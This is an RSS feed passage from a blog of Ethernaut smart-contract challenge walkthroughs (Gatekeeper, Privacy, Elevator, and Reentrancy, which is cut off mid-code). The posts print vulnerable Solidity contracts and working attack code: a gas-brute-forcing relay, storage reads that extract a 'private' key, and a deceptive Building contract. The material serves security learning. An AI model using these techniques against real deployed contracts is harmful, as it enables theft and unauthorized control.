        <span class="hljs-built_in">require</span>(success);
    }
}
</code></pre><p>Thus successfully cracks the problem</p>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 12: Gatekeeper]]></title>
            <link>https://paragraph.com/@banky/ethernaut-12-gatekeeper</link>
            <guid>mH9M6EgtwLI1BDbaiAFy</guid>
            <pubDate>Mon, 22 Aug 2022 23:41:58 GMT</pubDate>
            <description><![CDATA[Solving the 12th ethernaut challenge, Gatekeeper. This challenge makes use of a few techniques that have been developed in some previous exercises. https://ethernaut.openzeppelin.com/level/0x9b261b23cE149422DE75907C6ac0C30cEc4e652AInvestigationFor this challenge, we want to pass three require blocks to allow our user to enter. The contract looks like thisimport '@openzeppelin/contracts/math/SafeMath.sol'; contract GatekeeperOne { using SafeMath for uint256; address public entrant; modifier ga...]]></description>
            <content:encoded><![CDATA[<p>Solving the 12th ethernaut challenge, Gatekeeper. This challenge makes use of a few techniques that have been developed in some previous exercises.</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernaut.openzeppelin.com/level/0x9b261b23cE149422DE75907C6ac0C30cEc4e652A">https://ethernaut.openzeppelin.com/level/0x9b261b23cE149422DE75907C6ac0C30cEc4e652A</a></p><h1 id="h-investigation" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h1><p>For this challenge, we want to pass three require blocks to allow our user to enter. The contract looks like this</p><pre data-type="codeBlock" text="import &apos;@openzeppelin/contracts/math/SafeMath.sol&apos;;

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), &quot;GatekeeperOne: invalid gateThree part one&quot;);
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), &quot;GatekeeperOne: invalid gateThree part two&quot;);
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), &quot;GatekeeperOne: invalid gateThree part three&quot;);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
"><code><span class="hljs-keyword">import</span> <span class="hljs-string">'@openzeppelin/contracts/math/SafeMath.sol'</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GatekeeperOne</span> </span>{

  <span class="hljs-keyword">using</span> <span class="hljs-title">SafeMath</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> entrant;

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateOne</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>);
    <span class="hljs-keyword">_</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateTwo</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">gasleft</span>().mod(<span class="hljs-number">8191</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
    <span class="hljs-keyword">_</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateThree</span>(<span class="hljs-params"><span class="hljs-keyword">bytes8</span> _gateKey</span>) </span>{
      <span class="hljs-built_in">require</span>(<span class="hljs-keyword">uint32</span>(<span class="hljs-keyword">uint64</span>(_gateKey)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint16</span>(<span class="hljs-keyword">uint64</span>(_gateKey)), <span class="hljs-string">"GatekeeperOne: invalid gateThree part one"</span>);
      <span class="hljs-built_in">require</span>(<span class="hljs-keyword">uint32</span>(<span class="hljs-keyword">uint64</span>(_gateKey)) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(_gateKey), <span class="hljs-string">"GatekeeperOne: invalid gateThree part two"</span>);
      <span class="hljs-built_in">require</span>(<span class="hljs-keyword">uint32</span>(<span class="hljs-keyword">uint64</span>(_gateKey)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint16</span>(<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>), <span class="hljs-string">"GatekeeperOne: invalid gateThree part three"</span>);
    <span class="hljs-keyword">_</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">enter</span>(<span class="hljs-params"><span class="hljs-keyword">bytes8</span> _gateKey</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">gateOne</span> <span class="hljs-title">gateTwo</span> <span class="hljs-title">gateThree</span>(<span class="hljs-params">_gateKey</span>) <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    entrant <span class="hljs-operator">=</span> <span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>;
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
  }
}
</code></pre><p>There are three modifiers that we need to successfully pass</p><h1 id="h-solution" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h1><p>To pass <code>gateOne</code>, I simply needed to pass the message through a proxy contract. This way, <code>msg.sender != tx.origin</code>will return true. This works because <code>tx.origin</code> is the initiator of the transaction while <code>msg.sender</code> is the caller of the function. So <code>tx.origin</code> will be my wallet and <code>msg.sender</code> will be the proxy contract.</p><p>I’ll skip <code>gateTwo</code> for now since it is more difficult. To get through <code>gateThree</code>, a few casting checks need to be passed. From the last <code>require</code> statement, we see that <code>uint32(uint64(_gateKey)) == uint16(tx.origin)</code> must be true. Casting an address to <code>uint16</code> will take only the last two bytes of <code>tx.origin</code> and convert them to decimal. Thus, the last two bytes of <code>_gateKey</code> must be the last four hex values of my wallet. In my case <code>0xc252</code>.</p><p>Moving upwards in the require chain, we see that <code>uint64(_gateKey)</code> must be different from <code>uint32(_gateKey)</code>. We can make this happen by setting a bit that is out of reach for <code>uint32</code>. I did this by setting the highest bit in a 64 bit value. So my new <code>_gateKey</code> is <code>0x100000000000c352</code>. To verify this, I used a solidity repl which I found here:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/raineorshine/solidity-repl">https://github.com/raineorshine/solidity-repl</a></p><pre data-type="codeBlock" text="uint32(uint64(gatekey));
// 49746

uint64(gatekey);
// 1152921504606896978
"><code><span class="hljs-built_in">uint32</span>(uint64(gatekey));
<span class="hljs-comment">// 49746</span>

<span class="hljs-built_in">uint64</span>(gatekey);
<span class="hljs-comment">// 1152921504606896978</span>
</code></pre><p>The last require statement just makes sure that the <code>uint32</code> and <code>uint16</code> values of my gate key are the same. These values are equal here since the lower 4 bytes and lower 8 bytes of <code>0x100000000000c352</code>are equal.</p><p>The final modifier is <code>gateTwo</code>. This is tricky because it is very difficult to calculate exact gas costs of a call chain on the EVM. This is because different solidity compiler versions may use different gas costs for the same operations. So that I don’t lose my mind, I just did a brute force calculation in my proxy contract by setting different gas values until one of them worked. My proxy contract looks like this</p><pre data-type="codeBlock" text="contract Gatekeeper1Relay {
  address public gatekeeper1Address;

  constructor(address _gatekeeper1Address) {
    gatekeeper1Address = _gatekeeper1Address;
  }

  function enter() public {
    bytes8 gateKey = 0x100000000000c252;

    for (uint gas = 0; gas &lt; 8191; ++gas) {  //for loop example
      (bool success, ) = gatekeeper1Address.call{gas: 100000 + gas}(abi.encodeWithSignature(&quot;enter(bytes8)&quot;, gateKey));

      if (success) {
        return;
      }
    }

    require(false);
  }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Gatekeeper1Relay</span> </span>{
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> gatekeeper1Address;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _gatekeeper1Address</span>) </span>{
    gatekeeper1Address <span class="hljs-operator">=</span> _gatekeeper1Address;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">enter</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">bytes8</span> gateKey <span class="hljs-operator">=</span> <span class="hljs-number">0x100000000000c252</span>;

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint</span> gas <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; gas <span class="hljs-operator">&#x3C;</span> <span class="hljs-number">8191</span>; <span class="hljs-operator">+</span><span class="hljs-operator">+</span>gas) {  <span class="hljs-comment">//for loop example</span>
      (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> gatekeeper1Address.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">gas</span>: <span class="hljs-number">100000</span> <span class="hljs-operator">+</span> gas}(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"enter(bytes8)"</span>, gateKey));

      <span class="hljs-keyword">if</span> (success) {
        <span class="hljs-keyword">return</span>;
      }
    }

    <span class="hljs-built_in">require</span>(<span class="hljs-literal">false</span>);
  }
}
</code></pre><p>I use the <code>gateKey</code> that was determined previously. Then, I call the <code>enter</code> function on the target contract with an initial gas of <code>100000</code>. This call then loops through the gas values until one of them successfully breaks in to the contract. If none of them work, then I force the transaction to fail with <code>require(false)</code>.</p><p>Note that I used <code>++gas</code> instead of <code>gas++</code> in the for loop. I did this because I recently learned that the prefix increment is actually cheaper than postfix since it does not need to do an assignment. Small optimization but worth noting.</p><p>By calling <code>enter</code> on my proxy contract, the problem gets solved.</p><h1 id="h-what-i-learned" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h1><ol><li><p>The solidity repl I linked is extremely useful for running single lines of solidity code to see how the platform works</p></li><li><p>Casting to smaller values in solidity. I’m working on a bigger writeup about this because there are some interesting caveats between the way casting works for <code>bytes</code> versus other types such as <code>uint</code> and <code>int</code></p></li><li><p>When all else fails, brute force 😏</p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/a94a5ce416d6a1370c23c28b4cb6b3c9f63a7cc80a63ae72908fe3b772b2c32d.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Ethernaut 11: Privacy]]></title>
            <link>https://paragraph.com/@banky/ethernaut-11-privacy</link>
            <guid>EOSe6Fu2Yws5ymw01Dly</guid>
            <pubDate>Mon, 22 Aug 2022 20:22:09 GMT</pubDate>
            <description><![CDATA[Nothing stored on the blockchain is private … My 11th Ethernaut challenge, Privacy https://ethernaut.openzeppelin.com/level/0x11343d543778213221516D004ED82C45C3c8788BInvestigationThis challenge provides a contract which has been initialized with some data. The goal here is to discover what data has been stored. Here is the contractcontract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private a...]]></description>
            <content:encoded><![CDATA[<p><em>Nothing stored on the blockchain is private</em> …</p><p>My 11th Ethernaut challenge, Privacy</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernaut.openzeppelin.com/level/0x11343d543778213221516D004ED82C45C3c8788B">https://ethernaut.openzeppelin.com/level/0x11343d543778213221516D004ED82C45C3c8788B</a></p><h1 id="h-investigation" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h1><p>This challenge provides a contract which has been initialized with some data. The goal here is to discover what data has been stored. Here is the contract</p><pre data-type="codeBlock" text="contract Privacy {
  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Privacy</span> </span>{
  <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> locked <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
  <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> ID <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>;
  <span class="hljs-keyword">uint8</span> <span class="hljs-keyword">private</span> flattening <span class="hljs-operator">=</span> <span class="hljs-number">10</span>;
  <span class="hljs-keyword">uint8</span> <span class="hljs-keyword">private</span> denomination <span class="hljs-operator">=</span> <span class="hljs-number">255</span>;
  <span class="hljs-keyword">uint16</span> <span class="hljs-keyword">private</span> awkwardness <span class="hljs-operator">=</span> <span class="hljs-keyword">uint16</span>(<span class="hljs-built_in">now</span>);
  <span class="hljs-keyword">bytes32</span>[<span class="hljs-number">3</span>] <span class="hljs-keyword">private</span> data;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span>[<span class="hljs-number">3</span>] <span class="hljs-keyword">memory</span> _data</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    data <span class="hljs-operator">=</span> _data;
  }
  
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">unlock</span>(<span class="hljs-params"><span class="hljs-keyword">bytes16</span> _key</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-built_in">require</span>(_key <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">bytes16</span>(data[<span class="hljs-number">2</span>]));
    locked <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
  }
}
</code></pre><p>Since the <code>data</code> variable has been marked as <code>private</code>, a getter function is not generated by the compiler. ie this will not work.</p><pre data-type="codeBlock" text="await contract.data();
"><code>await <span class="hljs-keyword">contract</span>.data();
</code></pre><p>However, we can manually view the data stored at each storage slot using the <code>getStorageAt</code> from the <code>web3.eth</code> library.</p><h1 id="h-solution" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h1><p>The <code>getStorageAt</code> function takes two parameters, the contract address and the storage slot. I first created a helper function to wrap this.</p><pre data-type="codeBlock" text="const storageAtIndex = async (index) =&gt; web3.eth.getStorageAt(contract.address, index, console.log)
"><code>const storageAtIndex <span class="hljs-operator">=</span> async (index) <span class="hljs-operator">=</span><span class="hljs-operator">></span> web3.eth.getStorageAt(<span class="hljs-keyword">contract</span>.<span class="hljs-built_in">address</span>, index, console.log)
</code></pre><p>The slot I am interested in here is the one that contains the third element in <code>data</code>. I went through each slot one by one to get a sense of how the solidity packing rules work.</p><pre data-type="codeBlock" text="await storageAtIndex(0);
// &quot;0x0000000000000000000000000000000000000000000000000000000000000001&quot;
"><code>await <span class="hljs-built_in">storageAtIndex</span>(<span class="hljs-number">0</span>);
<span class="hljs-comment">// "0x0000000000000000000000000000000000000000000000000000000000000001"</span>
</code></pre><p>This is the value of <code>locked</code> which is a simple boolean. No other data is fit into the first slot since the next element, <code>ID</code> is a <code>uint256</code>. <code>uint256</code> is 32 bytes long and thus takes up the entire next slot.</p><pre data-type="codeBlock" text="await storageAtIndex(1);
// &quot;0x000000000000000000000000000000000000000000000000000000006302e9b9&quot;
web3.utils.toNumber(&quot;0x000000000000000000000000000000000000000000000000000000006302e9b9&quot;);
// 1661135289
"><code>await <span class="hljs-built_in">storageAtIndex</span>(<span class="hljs-number">1</span>);
<span class="hljs-comment">// "0x000000000000000000000000000000000000000000000000000000006302e9b9"</span>
web3<span class="hljs-selector-class">.utils</span><span class="hljs-selector-class">.toNumber</span>("<span class="hljs-number">0</span>x000000000000000000000000000000000000000000000000000000006302e9b9");
<span class="hljs-comment">// 1661135289</span>
</code></pre><p>The ID field stores the block timestamp at the time the contract was constructed. Using the <code>toNumber</code> util, I convert this to an integer and it lines up to when the contract was deployed. Nice 👌</p><pre data-type="codeBlock" text="await storageAtIndex(2);
// &quot;0x00000000000000000000000000000000000000000000000000000000e9b9ff0a&quot;
"><code>await <span class="hljs-built_in">storageAtIndex</span>(<span class="hljs-number">2</span>);
<span class="hljs-comment">// "0x00000000000000000000000000000000000000000000000000000000e9b9ff0a"</span>
</code></pre><p>With the way EVM variable packing works, <code>flattening</code> (<code>uint8</code>), <code>denomination</code>(<code>uint8</code>) and <code>awkwardness</code>(<code>uint16</code>) are all fit into storage slot 2. In addition to this, the data is packed in reverse order, ie. <code>flattening</code> is the last piece of data at this location. Moving backwards, we see that <code>flattening</code> is <code>0x0a</code> which corresponds to the integer value 10. <code>denomination</code> is <code>0xff</code> which corresponds to 155. Finally, awkwardness is represented by <code>e9b9</code>.</p><p>Now to the important part, <code>data</code>. Since <code>data</code> is a fixed size array, it is stored completely in sequential order from the starting slot position. ie. <code>data[0]</code> is at slot 3, <code>data[1]</code> is at slot 4, etc. The key is derived from <code>data[2]</code>. The value is then clamped to the first 16 bytes by casting to a <code>bytes16</code>. Thus I get the key as follows</p><pre data-type="codeBlock" text="key32 = await storageAtIndex(&quot;5&quot;);
key16 = key32.substring(0, key32.length - 32);
await contract.unlock(key16);
await contract.locked();
// false
"><code>key32 <span class="hljs-operator">=</span> await storageAtIndex(<span class="hljs-string">"5"</span>);
key16 <span class="hljs-operator">=</span> key32.substring(<span class="hljs-number">0</span>, key32.<span class="hljs-built_in">length</span> <span class="hljs-operator">-</span> <span class="hljs-number">32</span>);
await <span class="hljs-keyword">contract</span>.unlock(key16);
await <span class="hljs-keyword">contract</span>.locked();
<span class="hljs-comment">// false</span>
</code></pre><p>The contract is successfully unlocked</p><h1 id="h-what-i-learned" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h1><ol><li><p>The EVM does variable packing to reduce the footprint of storage. Sequential elements that can fit into 32 bytes are slotted together into the same location in storage</p></li><li><p>Elements of fixed size arrays behave like normal storage slotting. Elements of dynamic sized arrays are a bit more complex where the array location is the <code>keccack(slotPosition)</code></p></li><li><p>The location of elements of a <code>mapping</code> can be found with the <code>keccack(slotPosition, mappingKey)</code></p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 10: Elevator]]></title>
            <link>https://paragraph.com/@banky/ethernaut-10-elevator</link>
            <guid>0evd7rh1RSmqTNi25KbU</guid>
            <pubDate>Mon, 22 Aug 2022 02:17:10 GMT</pubDate>
            <description><![CDATA[Calling external contracts can be tricky because they may not be deterministic. A contract function can return different values for the same input to break our contracts. I explored this with my 9th ethernaut challenge, Elevator https://ethernaut.openzeppelin.com/level/0xaB4F3F2644060b2D960b0d88F0a42d1D27484687InvestigationWe have a contract for an Elevator that should not let the user get to the top floor.interface Building { function isLastFloor(uint) external returns (bool); } contract Ele...]]></description>
            <content:encoded><![CDATA[<p>Calling external contracts can be tricky because they may not be deterministic. A contract function can return different values for the same input to break our contracts. I explored this with my 9th ethernaut challenge, Elevator</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernaut.openzeppelin.com/level/0xaB4F3F2644060b2D960b0d88F0a42d1D27484687">https://ethernaut.openzeppelin.com/level/0xaB4F3F2644060b2D960b0d88F0a42d1D27484687</a></p><h2 id="h-investigation" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h2><p>We have a contract for an <code>Elevator</code> that should not let the user get to the top floor.</p><pre data-type="codeBlock" text="interface Building {
  function isLastFloor(uint) external returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (!building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
"><code><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Building</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isLastFloor</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Elevator</span> </span>{
  <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> top;
  <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> floor;

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">goTo</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _floor</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    Building building <span class="hljs-operator">=</span> Building(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);

    <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>building.isLastFloor(_floor)) {
      floor <span class="hljs-operator">=</span> _floor;
      top <span class="hljs-operator">=</span> building.isLastFloor(floor);
    }
  }
}
</code></pre><p>By calling <code>goTo</code>, we can update the floor in the <code>Elevator</code> instance. However, the logic intends to never allow the user to get to the top floor of any provided building. The if statement makes sure that the current floor is not the last floor before setting the <code>floor</code> and <code>top</code> values. Since two contract calls are made to the instance of <code>Building</code>, it is possible to return to different values for <code>isLastFloor</code> , thus tricking the elevator to update to be at the top floor unexpectedly.</p><h2 id="h-solution" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h2><p>I created a new <code>Building</code> contract to demonstrate this</p><pre data-type="codeBlock" text="contract Building {
    address elevatorAddress;
    uint calls = 0;

    constructor (address _elevatorAddress) {
        elevatorAddress = _elevatorAddress;
    }

    function attack (uint _floor) public {
        Elevator elevator = Elevator(elevatorAddress);

        elevator.goTo(_floor);
    }

    function isLastFloor(uint floor) override external returns (bool) {
        if (calls == 0) {
            calls += 1;
            return false;
        } else {
            return true;
        }
    }
}

interface Elevator {
    function goTo(uint _floor) external;
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Building</span> </span>{
    <span class="hljs-keyword">address</span> elevatorAddress;
    <span class="hljs-keyword">uint</span> calls <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span> (<span class="hljs-params"><span class="hljs-keyword">address</span> _elevatorAddress</span>) </span>{
        elevatorAddress <span class="hljs-operator">=</span> _elevatorAddress;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span> (<span class="hljs-params"><span class="hljs-keyword">uint</span> _floor</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        Elevator elevator <span class="hljs-operator">=</span> Elevator(elevatorAddress);

        elevator.goTo(_floor);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isLastFloor</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> floor</span>) <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">if</span> (calls <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
            calls <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span>;
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
        }
    }
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Elevator</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">goTo</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _floor</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}
</code></pre><p>Here, we track how many times the <code>isLastFloor</code> command has been called. If it has been called before, we simply increase the <code>calls</code> and return <code>true</code> instead of <code>false</code> on every subsequent call. Sure enough, with this technique, the <code>Elevator</code> instance breaks since it enters an unexpected state.</p><h2 id="h-what-i-learned" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h2><ol><li><p>We can’t trust that external contract calls will always return the same output for a given input</p></li><li><p>To improve this code, we can use <code>view</code> or <code>pure</code> in the interface definition for <code>Building</code> which will ensure that the <code>isLastFloor</code> function cannot modify state between calls</p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/8c69eac3bf620f32d7071bbf019e404924362c725d74ced83625e0d5dfbc8b1e.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Ethernaut 9: Reentrancy]]></title>
            <link>https://paragraph.com/@banky/ethernaut-9-reentrancy</link>
            <guid>SFOs5pGOmxqQzoETzQY8</guid>
            <pubDate>Fri, 19 Aug 2022 02:49:39 GMT</pubDate>
            <description><![CDATA[Okay so reentrancy. This is one of the vulnerabilities that you hear about a lot in the ethereum space so was looking forward to understanding how it works https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16DInvestigation// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable {...]]></description>
            <content:encoded><![CDATA[<p>Okay so reentrancy. This is one of the vulnerabilities that you hear about a lot in the ethereum space so was looking forward to understanding how it works</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D">https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D</a></p><h2 id="h-investigation" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h2><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import &apos;@openzeppelin/contracts/math/SafeMath.sol&apos;;

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address =&gt; uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] &gt;= _amount) {
      (bool result,) = msg.sender.call{value:_amount}(&quot;&quot;);
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">'@openzeppelin/contracts/math/SafeMath.sol'</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Reentrance</span> </span>{
  
  <span class="hljs-keyword">using</span> <span class="hljs-title">SafeMath</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;
  <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint</span>) <span class="hljs-keyword">public</span> balances;

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">donate</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _to</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    balances[_to] <span class="hljs-operator">=</span> balances[_to].add(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>);
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _who</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span> balance</span>) </span>{
    <span class="hljs-keyword">return</span> balances[_who];
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">if</span>(balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">></span><span class="hljs-operator">=</span> _amount) {
      (<span class="hljs-keyword">bool</span> result,) <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>:_amount}(<span class="hljs-string">""</span>);
      <span class="hljs-keyword">if</span>(result) {
        _amount;
      }
      balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> _amount;
    }
  }

